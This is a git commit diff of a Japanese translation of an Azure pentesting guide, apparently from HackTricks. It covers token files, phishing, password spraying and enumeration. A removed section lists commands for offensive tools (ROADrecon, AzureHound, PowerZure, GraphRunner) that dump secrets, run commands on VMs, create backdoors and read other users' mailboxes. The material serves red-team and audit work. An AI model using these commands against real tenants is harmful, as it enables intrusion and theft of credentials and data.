Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:42:04 +00:00
parent 09b9fafab2
commit 0441b77cc4
42 changed files with 791 additions and 798 deletions

View File

@@ -22,30 +22,30 @@ AZURE 環境を監査するためには、どの **サービスが使用され
- **ローカルファイル読み取り**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
- **`accessTokens.json`** ファイルaz cli 2.30以前 - 2022年1月 - **平文**で **アクセストークン**を保存
- **`azureProfile.json`** ファイルには **ログインユーザー**に関する **情報**が含まれています。
- **`accessTokens.json`** ファイルaz cli 2.30以前 - 2022年1月 - **アクセス トークンを平文で保存**
- **`azureProfile.json`** ファイルには **ログインユーザー** に関する **情報** が含まれています。
- **`az logout`** はトークンを削除します。
- 古いバージョンの **`Az PowerShell`** は **`TokenCache.dat`** に **平文**で **アクセストークン**を保存していました。また、**`AzureRmContext.json`** に **平文**で **ServicePrincipalSecret** を保存します。コマンドレット **`Save-AzContext`** を使用して **トークン**を **保存**できます。\
- 古いバージョンの **`Az PowerShell`** は **アクセス トークン****平文** **`TokenCache.dat`** に保存していました。また、**`AzureRmContext.json`** に **ServicePrincipalSecret** **平文**保存します。コマンドレット **`Save-AzContext`** を使用して **トークン** **保存** できます。\
`Disconnect-AzAccount` を使用してそれらを削除します。
- 第三者が **侵害**された
- 第三者が **侵害された**
- **内部** 従業員
- [**一般的なフィッシング**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html)(資格情報または Oauth アプリ)
- [デバイスコード認証フィッシング](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Azure **パスワードスプレー**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
攻撃している Azure テナント内で **ユーザーを侵害していなくても**、そこから **情報を収集**することができます:
攻撃している Azure テナント内で **ユーザーを侵害していなくても**、そこから **情報を収集** することができます:
{{#ref}}
az-unauthenticated-enum-and-initial-entry/
{{#endref}}
> [!NOTE]
> 資格情報を取得した後は、その資格情報が **誰のものであるか**、**何にアクセスできるか**を知る必要があるため、いくつかの基本的な列挙を行う必要があります:
> 資格情報を取得した後は、その資格情報が **誰のものであるか**、および **何にアクセスできるか** を知る必要があるため、いくつかの基本的な列挙を行う必要があります:
## 基本的な列挙
> [!NOTE]
> 列挙の **最も騒がしい**部分は **ログイン** であり、列挙自体ではありません。
> 列挙の **最も騒がしい** 部分は **ログイン** であり、列挙自体ではありません。
### SSRF
@@ -62,9 +62,9 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met
有効な資格情報があるがログインできない場合、以下は考えられる一般的な保護です:
- **IP ホワイトリスト** -- 有効な IP を侵害する必要があります
- **地理的制限** -- ユーザーの居住地や会社のオフィス場所を見つけ、同じ都市(または少なくとも同じ国)の IP を取得します
- **地理的制限** -- ユーザーが住んでいる場所や会社のオフィスがある場所を見つけ、同じ都市(または少なくとも同じ国)の IP を取得します
- **ブラウザ** -- 特定の OSWindows、Linux、Mac、Android、iOSからのブラウザのみが許可されているかもしれません。被害者/会社が使用している OS を特定します。
- **サービスプリンシパルの資格情報を侵害**することも試みることができます。通常、制限が少なく、ログインがあまりレビューされません。
- **サービスプリンシパルの資格情報を侵害する**ことも試みることができます。通常、制限が少なく、ログインがあまりレビューされません。
バイパスした後、初期設定に戻り、引き続きアクセスできる可能性があります。
@@ -75,7 +75,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met
### Whoami
> [!CAUTION]
> az cli、AzureAD、Az PowerShell の **インストール方法**を [**Az - Entra ID**](az-services/az-azuread.md) セクションで学んでください。
> az cli、AzureAD、および Az PowerShell の **インストール方法** を [**Az - Entra ID**](az-services/az-azuread.md) セクションで学んでください。
最初に知っておくべきことは **自分が誰であるか**(どの環境にいるか)です:
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -124,7 +124,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
>
> 同じ情報を**ウェブコンソール**で取得するには、[https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll)にアクセスするか、「すべてのリソース」を検索してください。
### ENtra ID Enumeration
### Entra ID Enumeration
デフォルトでは、任意のユーザーは**ユーザー、グループ、ロール、サービスプリンシパルなどを列挙するのに十分な権限を持っているはずです**[デフォルトのAzureAD権限](az-basic-information/index.html#default-user-permissions)を確認してください)。\
ここにガイドがあります:
@@ -134,7 +134,7 @@ az-services/az-azuread.md
{{#endref}}
> [!NOTE]
> 現在、**資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、幸運にも**検出されていないことを願っています**)。環境で使用されているサービスを特定する時が来ました。\
> これで**資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、幸運にも**検出されていないことを願っています**)。環境で使用されているサービスを特定する時が来ました。\
> 次のセクションでは、**一般的なサービスを列挙する方法**をいくつか確認できます。
## App Service SCM
@@ -143,232 +143,10 @@ App Service 'コンテナ'にログインするためのKuduコンソール。
## Webshell
portal.azure.comを使用してシェルを選択するか、bashまたはpowershell用にshell.azure.comを使用します。このシェルの'disk'はストレージアカウントに画像ファイルとして保存されています。
portal.azure.comを使用してシェルを選択するか、bashまたはpowershell用にshell.azure.comを使用します。このシェルの'disk'はストレージアカウント内のイメージファイルとして保存されます。
## Azure DevOps
Azure DevOpsはAzureとは別です。リポジトリ、パイプラインyamlまたはリリース、ボード、ウィキなどがあります。変数グループは変数値と秘密を保存するために使用されます。
Azure DevOpsはAzureとは別です。リポジトリ、パイプラインyamlまたはリリース、ボード、ウィキなどがあります。変数グループは変数値と秘密を保存するために使用されます。
## Debug | MitM az cli
パラメータ**`--debug`**を使用すると、ツール**`az`**が送信しているすべてのリクエストを見ることができます:
```bash
az account management-group list --output table --debug
```
**MitM**ツールに対して**すべてのリクエスト**を手動で確認するには、次のようにします:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## 自動化リコンツール
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the Contributor role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}